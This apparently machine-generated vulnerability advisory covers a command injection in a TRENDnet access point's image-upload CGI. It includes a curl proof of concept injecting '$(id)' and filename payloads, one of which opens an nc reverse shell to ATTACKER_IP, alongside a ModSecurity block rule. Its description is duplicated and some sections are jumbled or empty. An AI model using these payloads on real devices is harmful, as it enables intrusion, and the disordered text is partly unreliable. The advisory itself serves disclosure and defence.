CVE-2026-142708 — TRENDnet TEW-821DAP (1.12B01) — CWE-77 · CWE-78
A flaw has been found in TRENDnet TEW-821DAP 1.12B01. The affected element is the function icp_upload_img of the file /icp_upload_img.cgi of the component Internal Captive Portal. Executing a manipulation of the argument filename can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A flaw has been found in TRENDnet TEW-821DAP 1.12B01. The affected element is the function icp_upload_img of the file /icp_upload_img.cgi of the component Internal Captive Portal. Executing a manipulation of the argument filename can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
This vulnerability is a High-Severity OS Command Injection flaw (CWE-78, CWE-77) located in the Internal Captive Portal component of the TRENDnet TEW-821DAP wireless access point.
Technical Breakdown:
- Vulnerable Endpoint:
/icp_upload_img.cgi - Vulnerable Function:
icp_upload_img - Vulnerable Parameter:
filename - Root Cause: The application accepts user-supplied input via the
filenameargument and passes it directly to a system shell command (likelycp,mv, orcat) without proper sanitization or escaping. - Authentication Context: The CVSS vector specifies
PR:H(Privileges Required: High). This indicates that the attacker must possess valid administrative credentials for the device to exploit this flaw. It is not an unauthenticated remote code execution (RCE) vulnerability. - Impact: Successful exploitation allows the attacker to execute arbitrary system commands with the privileges of the web server process (typically
rootor a high-privilege user on embedded Linux systems). - Fingerprinting: The attacker identifies the target as a TRENDnet TEW-821DAP running firmware version
1.12B01. This can be achieved via:
* Scanning for the default web interface (usually port 80 or 8080).
* Checking the - Credential Acquisition: Since
PR:His required, the attacker must first obtain valid admin credentials. This could be achieved via:
* Default credentials (if not changed).
* Brute-forcing the admin login.
* Credential stuffing or phishing.
* Exploiting a separate, lower-severity vulnerability to gain initial access.
⚡ Attack Chain
1. Discovery & Reconnaissance
Server header or login page HTML for version strings.
* Using Nmap scripts (nmap --script http-enum,http-title) to identify the device model.
2. Exploitation
Once authenticated, the attacker crafts a malicious HTTP request to the vulnerable CGI script. Thefilename parameter is manipulated to break out of the intended command context and inject arbitrary shell commands.Illustrative PoC (curl):
Note: The exact syntax of the injected command depends on how the backend constructs the shell command (e.g., cp /tmp/uploaded_file $filename). The following is a generic example of command injection via a filename parameter.
# Step 1: Authenticate (assuming standard session cookie or basic auth)
# Replace 'admin:password' with valid credentials
curl -u 'admin:password' \
-X POST \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="file"; filename="test.jpg"\r\nContent-Type: image/jpeg\r\n\r\nfakeimage\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="filename"\r\n\r\n$(id)\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
http://<TARGET_IP>/icp_upload_img.cgiAlternative Payload (if the parameter is passed directly to a shell):
If the backend uses a command like cp /tmp/uploaded_file /var/www/html/$filename, the attacker can use shell metacharacters:
filename: test.jpg; idfilename: test.jpg && whoamifilename: test.jpg | nc <ATTACKER_IP> 4444 -e /bin/sh3. Post-Exploitation
root (common in embedded devices), the attacker already has full control. If not, they may attempt local privilege escalation.🌍 Real World Impact
CVSS 4.0 Vector Analysis:
Practical Consequences:
1. Network Compromise: The TEW-821DAP is a wireless access point. Compromising it allows the attacker to:
* Sniff all wireless traffic (if WPA2/WPA3 keys are extractable).
* Launch attacks against other devices on the LAN.
* Perform man-in-the-middle attacks.
2. Data Exfiltration: The attacker can access configuration files, user credentials, and any data stored on the device.
3. Denial of Service: The attacker can reboot the device, corrupt its configuration, or disable the wireless interface.
4. Botnet Recruitment: The compromised device can be used to participate in DDoS attacks or other malicious activities.
🛡️ Remediation & Mitigation
1. Patching
2. Workarounds (If Replacement is Not Immediately Possible)
Example ModSecurity Rule (Illustrative):
SecRule REQUEST_URI "@rx /icp_upload_img\.cgi" \
"id:100001,\
phase:1,\
block,\
msg:'Potential Command Injection in icp_upload_img.cgi',\
logdata:'%{REQUEST_URI}',\
severity:2,\
setvar:tx.blocked_command_injection=1"
SecRule ARGS:filename "@rx [;&|`$()]" \
"id:100002,\
phase:2,\
block,\
msg:'Command Injection Detected in filename Parameter',\
logdata:'%{MATCHED_VAR}',\
severity:2,\
setvar:tx.blocked_command_injection=1"3. Detection
/icp_upload_img.cgi with suspicious filename parameters containing shell metacharacters (;, &, |, ` `, $(, )`).sh, bash, nc, wget).⚠️ Urgency
Priority: CRITICAL
1.12B01 from the network.
2. Replace the devices with a supported, patched model.
3. Audit the network for any signs of compromise (unusual traffic, modified configurations).
4. Rotate credentials for any accounts that may have been exposed.Do not rely on workarounds as a long-term solution. The lack of a vendor patch makes this device a persistent security risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query